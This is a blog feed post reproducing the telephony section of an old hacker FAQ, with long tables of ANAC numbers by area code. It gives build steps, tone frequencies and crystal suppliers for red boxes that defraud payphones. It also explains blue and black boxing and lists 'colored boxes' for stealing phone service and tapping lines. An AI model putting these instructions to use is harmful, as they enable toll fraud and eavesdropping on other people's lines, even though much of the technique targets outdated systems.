<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7728576687682840661</id><updated>2012-02-16T00:36:32.362-08:00</updated><category term='Hacking'/><title type='text'>Internet, Chatting and Gamers it's only fun</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://warung-rumpi-ebook.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Warnet Warung Rumpi</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/_EwenkUmE0-c/ShduneQ4dII/AAAAAAAAABA/5G-RLSe4gas/S220/Photo_GW_in_Game.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>29</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7728576687682840661.post-5824158227007248166</id><published>2009-05-27T14:00:00.000-07:00</published><updated>2009-05-28T18:34:41.009-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Refferensi hacking B 1-34</title><content type='html'>&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;U 01. What is a Red Box?&lt;br /&gt; 02. How do I build a Red Box?&lt;br /&gt; 03. Where can I get a 6.5536Mhz crystal?&lt;br /&gt; 04. Which payphones will a Red Box work on?&lt;br /&gt; 05. How do I make local calls with a Red Box?&lt;br /&gt; 06. What is a Blue Box?&lt;br /&gt; 07. Do Blue Boxes still work?&lt;br /&gt; 08. What is a Black Box?&lt;br /&gt; 09. What do all the colored boxes do?&lt;br /&gt; 10. What is an ANAC number?&lt;br /&gt;U 11. What is the ANAC number for my area?&lt;br /&gt; 12. What is a ringback number?&lt;br /&gt;U 13. What is the ringback number for my area?&lt;br /&gt; 14. What is a loop?&lt;br /&gt;U 15. What is a loop in my area?&lt;br /&gt;U 16. What is a CNA number?&lt;br /&gt; 17. What is the telephone company CNA number for my area?&lt;br /&gt;U 18. What are some numbers that always ring busy?&lt;br /&gt;U 19. What are some numbers that temporarily disconnect phone service?&lt;br /&gt;U 20. What is a Proctor Test Set?&lt;br /&gt;U 21. What is a Proctor Test Set in my area?&lt;br /&gt; 22. What is scanning?&lt;br /&gt; 23. Is scanning illegal?&lt;br /&gt;U 24. Where can I purchase a lineman's handset?&lt;br /&gt; 25. What are the DTMF frequencies?&lt;br /&gt; 26. What are the frequencies of the telephone tones?&lt;br /&gt;U 27. What are all of the * (LASS) codes?&lt;br /&gt; 28. What frequencies do cordless phones operate on?&lt;br /&gt; 29. What is Caller-ID?&lt;br /&gt; 30. How do I block Caller-ID?&lt;br /&gt; 31. What is a PBX?&lt;br /&gt; 32. What is a VMB?&lt;br /&gt; 33. What are the ABCD tones for?&lt;br /&gt;N 34. What are the International Direct Numbers?&lt;br /&gt;&lt;br /&gt;Section B: Telephony&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Section B: Telephony&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;&lt;br /&gt;01. What is a Red Box?&lt;br /&gt;&lt;br /&gt;When a coin is inserted into a payphone, the payphone emits a set of&lt;br /&gt;tones to ACTS (Automated Coin Toll System).  Red boxes work by fooling&lt;br /&gt;ACTS into believing you have actually put money into the phone.  The&lt;br /&gt;red box simply plays the ACTS tones into the telephone microphone.&lt;br /&gt;ACTS hears those tones, and allows you to place your call.  The actual&lt;br /&gt;tones are:&lt;br /&gt;&lt;br /&gt;Nickel Signal      1700+2200hz  0.060s on&lt;br /&gt;Dime Signal        1700+2200hz  0.060s on, 0.060s off, twice repeating&lt;br /&gt;Quarter Signal     1700+2200hz  33ms on, 33ms off, 5 times repeating&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Canada uses a variant of ACTSD called N-ACTS.  N-ACTS uses different&lt;br /&gt;tones than ACTS.  In Canada, the tones to use are:&lt;br /&gt;&lt;br /&gt;Nickel Signal      2200hz       0.060s on&lt;br /&gt;Dime Signal        2200hz       0.060s on, 0.060s off, twice repeating&lt;br /&gt;Quarter Signal     2200hz       33ms on, 33ms off, 5 times repeating&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;02. How do I build a Red Box?&lt;br /&gt;&lt;br /&gt;Red boxes are commonly manufactured from modified Radio Shack tone&lt;br /&gt;dialers, Hallmark greeting cards, or made from scratch from readily&lt;br /&gt;available electronic components.&lt;br /&gt;&lt;br /&gt;To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer, open&lt;br /&gt;the dialer and replace the crystal with a new one. The purpose of the&lt;br /&gt;new crystal is to cause the * button on your tone dialer to create a&lt;br /&gt;1700Mhz and 2200Mhz tone instead of the original 941Mhz and 1209Mhz&lt;br /&gt;tones.  The exact value of the replacement crystal should be 6.466806 to&lt;br /&gt;create a perfect 1700Mhz tone and 6.513698 to create a perfect 2200mhz&lt;br /&gt;tone.  A crystal close to those values will create a tone that easily&lt;br /&gt;falls within the loose tolerances of ACTS. The most popular choice is&lt;br /&gt;the 6.5536Mhz crystal, because it is the easiest to procure.  The old&lt;br /&gt;crystal is the large shiny metal component labeled "3.579545Mhz."  When&lt;br /&gt;you are finished replacing the crystal, program the P1 button with five&lt;br /&gt;*'s.  That will simulate a quarter tone each time you press P1.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;03. Where can I get a 6.5536Mhz crystal?&lt;br /&gt;&lt;br /&gt;Your best bet is a local electronics store.  Radio Shack sells them, but&lt;br /&gt;they are overpriced and the store must order them in.  This takes&lt;br /&gt;approximately two weeks.  In addition, many Radio Shack employees do not&lt;br /&gt;know that this can be done.&lt;br /&gt;&lt;br /&gt;Or, you could order the crystal mail order.  This introduces Shipping&lt;br /&gt;and Handling charges, which are usually much greater than the price of&lt;br /&gt;the crystal.  It's best to get several people together to share the S&amp;amp;H&lt;br /&gt;cost.  Or, buy five or six yourself and sell them later.  Some of the&lt;br /&gt;places you can order crystals are:&lt;br /&gt;&lt;br /&gt;Digi-Key&lt;br /&gt;701 Brooks Avenue South&lt;br /&gt;P.O. Box 677&lt;br /&gt;Thief River Falls, MN 56701-0677&lt;br /&gt;(800)344-4539&lt;br /&gt;Part Number:X415-ND    /* Note: 6.500Mhz and only .197 x .433 x .149! */&lt;br /&gt;Part Number:X018-ND&lt;br /&gt;&lt;br /&gt;JDR Microdevices:&lt;br /&gt;2233 Branham Lane&lt;br /&gt;San Jose, CA 95124&lt;br /&gt;(800)538-5000&lt;br /&gt;Part Number: 6.5536MHZ&lt;br /&gt;&lt;br /&gt;Tandy Express Order Marketing&lt;br /&gt;401 NE 38th Street&lt;br /&gt;Fort Worth, TX 76106&lt;br /&gt;(800)241-8742&lt;br /&gt;Part Number: 10068625&lt;br /&gt;&lt;br /&gt;Alltronics&lt;br /&gt;2300 Zanker Road&lt;br /&gt;San Jose CA 95131&lt;br /&gt;(408)943-9774 Voice&lt;br /&gt;(408)943-9776 Fax&lt;br /&gt;(408)943-0622 BBS&lt;br /&gt;Part Number: 92A057&lt;br /&gt;&lt;br /&gt;Mouser&lt;br /&gt;(800)346-6873&lt;br /&gt;Part Number: 332-1066&lt;br /&gt;&lt;br /&gt;Blue Saguaro&lt;br /&gt;P.O. Box 37061&lt;br /&gt;Tucson, AZ 85740&lt;br /&gt;Part Number: 1458b&lt;br /&gt;&lt;br /&gt;Unicorn Electronics&lt;br /&gt;10000 Canoga Ave, Unit c-2&lt;br /&gt;Chatsworth, CA 91311&lt;br /&gt;Phone: 1-800-824-3432&lt;br /&gt;Part Number: CR6.5&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;04. Which payphones will a Red Box work on?&lt;br /&gt;&lt;br /&gt;Red Boxes will work on telco owned payphones, but not on COCOT's&lt;br /&gt;(Customer Owned Coin Operated Telephones).&lt;br /&gt;&lt;br /&gt;Red boxes work by fooling ACTS (Automated Coin Toll System) into&lt;br /&gt;believing you have put money into the pay phone.  ACTS is the&lt;br /&gt;telephone company software responsible for saying "Please deposit XX&lt;br /&gt;cents" and listening for the coins being deposited.&lt;br /&gt;&lt;br /&gt;COCOT's do not use ACTS.  On a COCOT, the pay phone itself is&lt;br /&gt;responsible for determining what coins have been inserted.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;05. How do I make local calls with a Red Box?&lt;br /&gt;&lt;br /&gt;Payphones do not use ACTS for local calls.  To use your red box for&lt;br /&gt;local calls, you have to fool ACTS into getting involved in the call.&lt;br /&gt;&lt;br /&gt;One way to do this, in some areas, is by dialing 10288-xxx-xxxx.  This&lt;br /&gt;makes your call a long distance call, and brings ACTS into the&lt;br /&gt;picture.&lt;br /&gt;&lt;br /&gt;In other areas, you can call Directory Assistance and ask for the&lt;br /&gt;number of the person you are trying to reach.  The operator will give&lt;br /&gt;you the number and then you will hear a message similar to "Your call&lt;br /&gt;can be completed automatically for an additional 35 cents."  When this&lt;br /&gt;happens, you can then use ACTS tones.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;06. What is a Blue Box?&lt;br /&gt;&lt;br /&gt;Blue boxes use a 2600hz tone to size control of telephone switches&lt;br /&gt;that use in-band signalling.  The caller may then access special&lt;br /&gt;switch functions, with the usual purpose of making free long distance&lt;br /&gt;phone calls, using the tones provided by the Blue Box.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;07. Do Blue Boxes still work?&lt;br /&gt;&lt;br /&gt;This FAQ answer is excerpted from a message posted to Usenet by&lt;br /&gt;Marauder of the Legion of Doom:&lt;br /&gt;&lt;br /&gt;       Somewhere along the line I have seen reference to something&lt;br /&gt;       similar to "Because of ESS Blue boxing is impossible".  This is&lt;br /&gt;       incorrect.  When I lived in Connecticut I was able to blue box&lt;br /&gt;       under Step by Step, #1AESS, and DMS-100.  The reason is simple,&lt;br /&gt;       even though I was initiating my call to an 800 number from a&lt;br /&gt;       different exchange (Class 5 office, aka Central Office) in each&lt;br /&gt;       case, when the 800 call was routed to the toll network it would&lt;br /&gt;       route through the New Haven #5 Crossbar toll Tandem office.  It&lt;br /&gt;       just so happens that the trunks between the class 5 (CO's) and&lt;br /&gt;       the class 4 (toll office, in this case New Haven #5 Xbar),&lt;br /&gt;       utilized in-band (MF) signalling, so regardless of what I&lt;br /&gt;       dialed, as long as it was an Inter-Lata call, my call would&lt;br /&gt;       route through this particular set of trunks, and I could Blue&lt;br /&gt;       box until I was blue in the face.  The originating Central&lt;br /&gt;       Offices switch (SXS/ESS/Etc..) had little effect on my ability&lt;br /&gt;       to box at all.  While the advent of ESS (and other electronic&lt;br /&gt;       switches) has made the blue boxers task a bit more difficult,&lt;br /&gt;       ESS is not the reason most of you are unable to blue box.  The&lt;br /&gt;       main culprit is the "forward audio mute" feature of CCIS (out of&lt;br /&gt;       band signalling).  Unfortunately for the boxer 99% of the Toll&lt;br /&gt;       Completion centers communicate using CCIS links, This spells&lt;br /&gt;       disaster for the blue boxer since most of you must dial out of&lt;br /&gt;       your local area to find trunks that utilize MF signalling, you&lt;br /&gt;       inevitably cross a portion of the network that is CCIS equipped,&lt;br /&gt;       you find an exchange that you blow 2600hz at, you are rewarded&lt;br /&gt;       with a nice "winkstart", and no matter what MF tones you send at&lt;br /&gt;       it, you meet with a re-order.  This is because as soon as you&lt;br /&gt;       seized the trunk (your application of 2600hz), your Originating&lt;br /&gt;       Toll Office sees this as a loss of supervision at the&lt;br /&gt;       destination, and Mutes any further audio from being passed to&lt;br /&gt;       the destination (ie: your waiting trunk!).  You meet with a&lt;br /&gt;       reorder because the waiting trunk never "hears" any of the MF&lt;br /&gt;       tones you are sending, and it times out.  So for the clever&lt;br /&gt;       amongst you, you must somehow get yourself to the 1000's of&lt;br /&gt;       trunks out there that still utilize MF signalling but&lt;br /&gt;       bypass/disable the CCIS audio mute problem.  (Hint: Take a close&lt;br /&gt;       look at WATS extenders).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;08. What is a Black Box?&lt;br /&gt;&lt;br /&gt;A Black Box is a resistor (and often capacitor in parallel) placed in&lt;br /&gt;series across your phone line to cause the phone company equipment to be&lt;br /&gt;unable to detect that you have answered your telephone.  People who call&lt;br /&gt;you will then not be billed for the telephone call.  Black boxes do not&lt;br /&gt;work under ESS.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;09. What do all the colored boxes do?&lt;br /&gt;&lt;br /&gt;Acrylic      Steal Three-Way-Calling, Call Waiting and programmable&lt;br /&gt;     Call Forwarding on old 4-wire phone systems&lt;br /&gt;Aqua         Drain the voltage of the FBI lock-in-trace/trap-trace&lt;br /&gt;Beige        Lineman's hand set&lt;br /&gt;Black        Allows the calling party to not be billed for the call&lt;br /&gt;     placed&lt;br /&gt;Blast        Phone microphone amplifier&lt;br /&gt;Blotto       Supposedly shorts every phone out in the immediate area&lt;br /&gt;Blue         Emulate a true operator by seizing a trunk with a 2600hz&lt;br /&gt;     tone&lt;br /&gt;Brown        Create a party line from 2 phone lines&lt;br /&gt;Bud          Tap into your neighbors phone line&lt;br /&gt;Chartreuse   Use the electricity from your phone line&lt;br /&gt;Cheese       Connect two phones to create a diverter&lt;br /&gt;Chrome       Manipulate Traffic Signals by Remote Control&lt;br /&gt;Clear        A telephone pickup coil and a small amp used to make free&lt;br /&gt;     calls on Fortress Phones&lt;br /&gt;Color        Line activated telephone recorder&lt;br /&gt;Copper       Cause crosstalk interference on an extender&lt;br /&gt;Crimson      Hold button&lt;br /&gt;Dark         Re-route outgoing or incoming calls to another phone&lt;br /&gt;Dayglo       Connect to your neighbors phone line&lt;br /&gt;Diverter     Re-route outgoing or incoming calls to another phone&lt;br /&gt;DLOC         Create a party line from 2 phone lines&lt;br /&gt;Gold         Dialout router&lt;br /&gt;Green        Emulate the Coin Collect, Coin Return, and Ringback tones&lt;br /&gt;Infinity     Remotely activated phone tap&lt;br /&gt;Jack         Touch-Tone key pad&lt;br /&gt;Light        In-use light&lt;br /&gt;Lunch        AM transmitter&lt;br /&gt;Magenta      Connect a remote phone line to another remote phone line&lt;br /&gt;Mauve        Phone tap without cutting into a line&lt;br /&gt;Neon         External microphone&lt;br /&gt;Noise        Create line noise&lt;br /&gt;Olive        External ringer&lt;br /&gt;Party        Create a party line from 2 phone lines&lt;br /&gt;Pearl        Tone generator&lt;br /&gt;Pink         Create a party line from 2 phone lines&lt;br /&gt;Purple       Telephone hold button&lt;br /&gt;Rainbow      Kill a trace by putting 120v into the phone line (joke)&lt;br /&gt;Razz         Tap into your neighbors phone&lt;br /&gt;Red          Make free phone calls from pay phones by generating&lt;br /&gt;     quarter tones&lt;br /&gt;Rock         Add music to your phone line&lt;br /&gt;Scarlet      Cause a neighbors phone line to have poor reception&lt;br /&gt;Silver       Create the DTMF tones for A, B, C and D&lt;br /&gt;Static       Keep the voltage on a phone line high&lt;br /&gt;Switch       Add hold, indicator lights, conferencing, etc..&lt;br /&gt;Tan          Line activated telephone recorder&lt;br /&gt;Tron         Reverse the phase of power to your house, causing your&lt;br /&gt;     electric meter to run slower&lt;br /&gt;TV Cable     "See" sound waves on your TV&lt;br /&gt;Urine        Create a capacitative disturbance between the ring and&lt;br /&gt;     tip wires in another's telephone headset&lt;br /&gt;Violet       Keep a payphone from hanging up&lt;br /&gt;White        Portable DTMF keypad&lt;br /&gt;Yellow       Add an extension phone&lt;br /&gt;&lt;br /&gt;Box schematics may be retrieved from these FTP sites:&lt;br /&gt;&lt;br /&gt;ftp.netcom.com          /pub/br/bradleym&lt;br /&gt;ftp.netcom.com          /pub/va/vandal&lt;br /&gt;ftp.winternet.com       /users/nitehwk&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;10. What is an ANAC number?&lt;br /&gt;&lt;br /&gt;An ANAC (Automatic Number Announcement Circuit) number is a telephone&lt;br /&gt;number that plays back the number of the telephone that called it.&lt;br /&gt;ANAC numbers are convenient if you want to know the telephone number&lt;br /&gt;of a pair of wires.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;11. What is the ANAC number for my area?&lt;br /&gt;&lt;br /&gt;How to find your ANAC number:&lt;br /&gt;&lt;br /&gt;Look up your NPA (Area Code) and try the number listed for it. If that&lt;br /&gt;fails, try 1 plus the number listed for it.  If that fails, try the&lt;br /&gt;common numbers like 311, 958 and 200-222-2222.  If you find the ANAC&lt;br /&gt;number for your area, please let us know.&lt;br /&gt;&lt;br /&gt;Note that many times the ANAC number will vary for different switches&lt;br /&gt;in the same city.  The geographic naming on the list is NOT intended&lt;br /&gt;to be an accurate reference for coverage patterns, it is for&lt;br /&gt;convenience only.&lt;br /&gt;&lt;br /&gt;Many companies operate 800 number services which will read back to you&lt;br /&gt;the number from which you are calling.  Many of these require navigating&lt;br /&gt;a series of menus to get the phone number you are looking for.  Please&lt;br /&gt;use local ANAC numbers if you can, as overuse or abuse can kill 800 ANAC&lt;br /&gt;numbers.&lt;br /&gt;&lt;br /&gt;N (800)425-6256   VRS Billing Systems/Integretel (800)4BLOCKME&lt;br /&gt; (800)568-3197   Info Access Telephone Company's Automated Blocking Line&lt;br /&gt; (800)692-6447   (800)MY-ANI-IS  (Now protected by a passcode!)&lt;br /&gt;N (800)858-9857   AT&amp;amp;T True Rewards&lt;br /&gt;&lt;br /&gt;A non-800 ANAC that works nationwide is 404-988-9664.  The one catch&lt;br /&gt;with this number is that it must be dialed with the AT&amp;amp;T Carrier Access&lt;br /&gt;Code 10732.  Use of this number does not appear to be billed.&lt;br /&gt;&lt;br /&gt;Note: These geographic areas are for reference purposes only.  ANAC&lt;br /&gt;numbers may vary from switch to switch within the same city.&lt;br /&gt;&lt;br /&gt; NPA  ANAC number      Approximate Geographic area&lt;br /&gt; ---  ---------------  ---------------------------------------------&lt;br /&gt; 201  958              Hackensack/Jersey City/Newark/Paterson, NJ&lt;br /&gt; 202  811              District of Columbia&lt;br /&gt; 203  970              CT&lt;br /&gt; 205  300-222-2222     Birmingham, AL&lt;br /&gt; 205  300-555-5555     Many small towns in AL&lt;br /&gt; 205  300-648-1111     Dora, AL&lt;br /&gt; 205  300-765-4321     Bessemer, AL&lt;br /&gt; 205  300-798-1111     Forestdale, AL&lt;br /&gt; 205  300-833-3333     Birmingham&lt;br /&gt; 205  557-2311         Birmingham, AL&lt;br /&gt; 205  811              Pell City/Cropwell/Lincoln, AL&lt;br /&gt; 205  841-1111         Tarrant, AL&lt;br /&gt; 205  908-222-2222     Birmingham, AL&lt;br /&gt; 206  411              WA (Not US West)&lt;br /&gt; 207  958              ME&lt;br /&gt; 209  830-2121         Stockton, CA&lt;br /&gt; 209  211-9779         Stockton, CA&lt;br /&gt; 210  830              Brownsville/Laredo/San Antonio, TX&lt;br /&gt;N 210  951              Brownsville/Laredo/San Antonio, TX (GTE)&lt;br /&gt; 212  958              Manhattan, NY&lt;br /&gt; 213  114              Los Angeles, CA (GTE)&lt;br /&gt; 213  1223             Los Angeles, CA (Some 1AESS switches)&lt;br /&gt; 213  211-2345         Los Angeles, CA (English response)&lt;br /&gt; 213  211-2346         Los Angeles, CA (DTMF response)&lt;br /&gt; 213  760-2???         Los Angeles, CA (DMS switches)&lt;br /&gt; 213  61056            Los Angeles, CA&lt;br /&gt; 214  570              Dallas, TX&lt;br /&gt; 214  790              Dallas, TX (GTE)&lt;br /&gt; 214  970-222-2222     Dallas, TX&lt;br /&gt; 214  970-611-1111     Dallas, TX (Southwestern Bell)&lt;br /&gt; 215  410-xxxx         Philadelphia, PA&lt;br /&gt; 215  511              Philadelphia, PA&lt;br /&gt; 215  958              Philadelphia, PA&lt;br /&gt; 216  200-XXXX         Akron/Canton/Cleveland/Lorain/Youngstown, OH&lt;br /&gt; 216  331              Akron/Canton/Cleveland/Lorain/Youngstown, OH&lt;br /&gt; 216  959-9892         Akron/Canton/Cleveland/Lorain/Youngstown, OH&lt;br /&gt; 217  200-xxx-xxxx     Champaign-Urbana/Springfield, IL&lt;br /&gt; 219  550              Gary/Hammond/Michigan City/Southbend, IN&lt;br /&gt; 219  559              Gary/Hammond/Michigan City/Southbend, IN&lt;br /&gt;N 301  2002006969       Hagerstown/Rockville, MD&lt;br /&gt; 301  958-9968         Hagerstown/Rockville, MD&lt;br /&gt; 303  958              Aspen/Boulder/Denver/Durango/Grand Junction&lt;br /&gt;                       /Steamboat Springs, CO&lt;br /&gt;N 305  200-555-1212     Ft. Lauderdale/Key West/Miami, FL&lt;br /&gt;N 305  200200200200200  Ft. Lauderdale/Key West/Miami, FL&lt;br /&gt;N 305  780-2411         Ft. Lauderdale/Key West/Miami, FL&lt;br /&gt; 310  114              Long Beach, CA (On many GTE switches)&lt;br /&gt; 310  1223             Long Beach, CA (Some 1AESS switches)&lt;br /&gt; 310  211-2345         Long Beach, CA (English response)&lt;br /&gt; 310  211-2346         Long Beach, CA (DTMF response)&lt;br /&gt; 312  200              Chicago, IL&lt;br /&gt; 312  290              Chicago, IL&lt;br /&gt; 312  1-200-8825       Chicago, IL (Last four change rapidly)&lt;br /&gt; 312  1-200-555-1212   Chicago, IL&lt;br /&gt; 313  200-200-2002     Ann Arbor/Dearborn/Detroit, MI&lt;br /&gt; 313  200-222-2222     Ann Arbor/Dearborn/Detroit, MI&lt;br /&gt; 313  200-xxx-xxxx     Ann Arbor/Dearborn/Detroit, MI&lt;br /&gt; 313  200200200200200  Ann Arbor/Dearborn/Detroit, MI&lt;br /&gt; 314  410-xxxx#        Columbia/Jefferson City/St.Louis, MO&lt;br /&gt; 315  953              Syracuse/Utica, NY&lt;br /&gt; 315  958              Syracuse/Utica, NY&lt;br /&gt; 315  998              Syracuse/Utica, NY&lt;br /&gt; 317  310-222-2222     Indianapolis/Kokomo, IN&lt;br /&gt; 317  559-222-2222     Indianapolis/Kokomo, IN&lt;br /&gt; 317  743-1218         Indianapolis/Kokomo, IN&lt;br /&gt; 334  5572411          Montgomery, AL&lt;br /&gt; 334 5572311           Montgomery, AL&lt;br /&gt; 401  200-200-4444     RI&lt;br /&gt; 401  222-2222         RI&lt;br /&gt; 402  311              Lincoln, NE&lt;br /&gt; 404  311              Atlanta, GA&lt;br /&gt;N 770  780-2311         Atlanta, GA&lt;br /&gt; 404  940-xxx-xxxx     Atlanta, GA&lt;br /&gt; 404  990              Atlanta, GA&lt;br /&gt; 405  890-7777777      Enid/Oklahoma City, OK&lt;br /&gt; 405  897              Enid/Oklahoma City, OK&lt;br /&gt;U 407  200-222-2222     Orlando/West Palm Beach, FL (Bell South)&lt;br /&gt;N 407  520-3111         Orlando/West Palm Beach, FL (United)&lt;br /&gt; 408  300-xxx-xxxx     San Jose, CA&lt;br /&gt; 408  760              San Jose, CA&lt;br /&gt; 408  940              San Jose, CA&lt;br /&gt; 409  951              Beaumont/Galveston, TX&lt;br /&gt; 409  970-xxxx         Beaumont/Galveston, TX&lt;br /&gt; 410  200-6969         Annapolis/Baltimore, MD&lt;br /&gt;N 410  200-200-6969     Annapolis/Baltimore, MD&lt;br /&gt; 410  200-555-1212     Annapolis/Baltimore, MD&lt;br /&gt; 410  811              Annapolis/Baltimore, MD&lt;br /&gt; 412  711-6633         Pittsburgh, PA&lt;br /&gt; 412  711-4411         Pittsburgh, PA&lt;br /&gt; 412  999-xxxx         Pittsburgh, PA&lt;br /&gt; 413  958              Pittsfield/Springfield, MA&lt;br /&gt; 413  200-555-5555     Pittsfield/Springfield, MA&lt;br /&gt; 414  330-2234         Fond du Lac/Green Bay/Milwaukee/Racine, WI&lt;br /&gt; 415  200-555-1212     San Francisco, CA&lt;br /&gt; 415  211-2111         San Francisco, CA&lt;br /&gt; 415  2222             San Francisco, CA&lt;br /&gt; 415  640              San Francisco, CA&lt;br /&gt; 415  760-2878         San Francisco, CA&lt;br /&gt; 415  7600-2222        San Francisco, CA&lt;br /&gt; 419  311              Toledo, OH&lt;br /&gt;N 423  200-200-200      Chatanooga, Johnson City, Knoxville , TN&lt;br /&gt;N 501  511              AR&lt;br /&gt; 502  2002222222       Frankfort/Louisville/Paducah/Shelbyville, KY&lt;br /&gt; 502  997-555-1212     Frankfort/Louisville/Paducah/Shelbyville, KY&lt;br /&gt; 503  611              Portland, OR&lt;br /&gt; 503  999              Portland, OR (GTE)&lt;br /&gt; 504  99882233         Baton Rouge/New Orleans, LA&lt;br /&gt; 504  201-269-1111     Baton Rouge/New Orleans, LA&lt;br /&gt; 504  998              Baton Rouge/New Orleans, LA&lt;br /&gt; 504  99851-0000000000 Baton Rouge/New Orleans, LA&lt;br /&gt; 508  958              Fall River/New Bedford/Worchester, MA&lt;br /&gt; 508  200-222-1234     Fall River/New Bedford/Worchester, MA&lt;br /&gt; 508  200-222-2222     Fall River/New Bedford/Worchester, MA&lt;br /&gt; 508  26011            Fall River/New Bedford/Worchester, MA&lt;br /&gt; 509  560              Spokane/Walla Walla/Yakima, WA&lt;br /&gt; 510  760-1111         Oakland, CA&lt;br /&gt; 512  830              Austin/Corpus Christi, TX&lt;br /&gt; 512  970-xxxx         Austin/Corpus Christi, TX&lt;br /&gt;N 513  380-55555555     Cincinnati/Dayton, OH&lt;br /&gt; 515  5463             Des Moines, IA&lt;br /&gt; 515  811              Des Moines, IA&lt;br /&gt; 516  958              Hempstead/Long Island, NY&lt;br /&gt; 516  968              Hempstead/Long Island, NY&lt;br /&gt; 517  200-222-2222     Bay City/Jackson/Lansing, MI&lt;br /&gt; 517  200200200200200  Bay City/Jackson/Lansing, MI&lt;br /&gt; 518  511              Albany/Schenectady/Troy, NY&lt;br /&gt; 518  997              Albany/Schenectady/Troy, NY&lt;br /&gt; 518  998              Albany/Schenectady/Troy, NY&lt;br /&gt;N 540  211              Roanoke, VA (GTE)&lt;br /&gt;N 540  311              Roanoke, VA (GTE)&lt;br /&gt;N 541  200              Bend, OR&lt;br /&gt; 603  200-222-2222     NH&lt;br /&gt; 606  997-555-1212     Ashland/Winchester, KY&lt;br /&gt; 606  711              Ashland/Winchester, KY&lt;br /&gt; 607  993              Binghamton/Elmira, NY&lt;br /&gt; 609  958              Atlantic City/Camden/Trenton/Vineland, NJ&lt;br /&gt; 610  958              Allentown/Reading, PA&lt;br /&gt; 610  958-4100         Allentown/Reading, PA&lt;br /&gt; 612  511              Minneapolis/St.Paul, MN&lt;br /&gt; 614  200              Columbus/Steubenville, OH&lt;br /&gt; 614  571              Columbus/Steubenville, OH&lt;br /&gt; 615  200200200200200  Chatanooga/Knoxville/Nashville, TN&lt;br /&gt; 615  2002222222       Chatanooga/Knoxville/Nashville, TN&lt;br /&gt; 615  830              Nashville, TN&lt;br /&gt; 616  200-222-2222     Battle Creek/Grand Rapids/Kalamazoo, MI&lt;br /&gt; 617  200-222-1234     Boston, MA&lt;br /&gt; 617  200-222-2222     Boston, MA&lt;br /&gt; 617  200-444-4444     Boston, MA (Woburn, MA)&lt;br /&gt; 617  220-2622         Boston, MA&lt;br /&gt; 617  958              Boston, MA&lt;br /&gt; 618  200-xxx-xxxx     Alton/Cairo/Mt.Vernon, IL&lt;br /&gt; 618  930              Alton/Cairo/Mt.Vernon, IL&lt;br /&gt; 619  211-2001         San Diego, CA&lt;br /&gt; 619  211-2121         San Diego, CA&lt;br /&gt;N 659  220-2622         Newmarket, NH&lt;br /&gt;N 703  211              VA&lt;br /&gt;N 703  511-3636         Culpeper/Orange/Fredericksburg, VA&lt;br /&gt; 703  811              Alexandria/Arlington/Roanoke, VA&lt;br /&gt; 704  311              Asheville/Charlotte, NC&lt;br /&gt;N 706  940-xxxx         Augusta, GA&lt;br /&gt; 707  211-2222         Eureka, CA&lt;br /&gt; 708  1-200-555-1212   Chicago/Elgin, IL&lt;br /&gt; 708  1-200-8825       Chicago/Elgin, IL (Last four change rapidly)&lt;br /&gt; 708  200-6153         Chicago/Elgin, IL&lt;br /&gt; 708  724-9951         Chicago/Elgin, IL&lt;br /&gt; 713  380              Houston, TX&lt;br /&gt; 713  970-xxxx         Houston, TX&lt;br /&gt; 713  811              Humble, TX&lt;br /&gt;N 713  380-5555-5555    Houston, TX&lt;br /&gt; 714  114              Anaheim, CA (GTE)&lt;br /&gt; 714  211-2121         Anaheim, CA (PacBell)&lt;br /&gt; 714  211-2222         Anaheim, CA (Pacbell)&lt;br /&gt;N 714  211-7777         Anaheim, CA (Pacbell)&lt;br /&gt; 716  511              Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)&lt;br /&gt; 716  990              Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)&lt;br /&gt; 717  958              Harrisburg/Scranton/Wilkes-Barre, PA&lt;br /&gt; 718  958              Bronx/Brooklyn/Queens/Staten Island, NY&lt;br /&gt;N 770  940-xxx-xxxx     Marietta/Norcross, GA&lt;br /&gt;N 770  780-2311         Marietta/Norcross, GA&lt;br /&gt; 802  2-222-222-2222   Vermont&lt;br /&gt; 802  200-222-2222     Vermont&lt;br /&gt; 802  1-700-222-2222   Vermont&lt;br /&gt; 802  111-2222         Vermont&lt;br /&gt;N 804 990               Virginia Beach, VA&lt;br /&gt; 805  114              Bakersfield/Santa Barbara, CA&lt;br /&gt; 805  211-2345         Bakersfield/Santa Barbara, CA&lt;br /&gt; 805  211-2346         Bakersfield/Santa Barbara, CA (Returns DTMF)&lt;br /&gt; 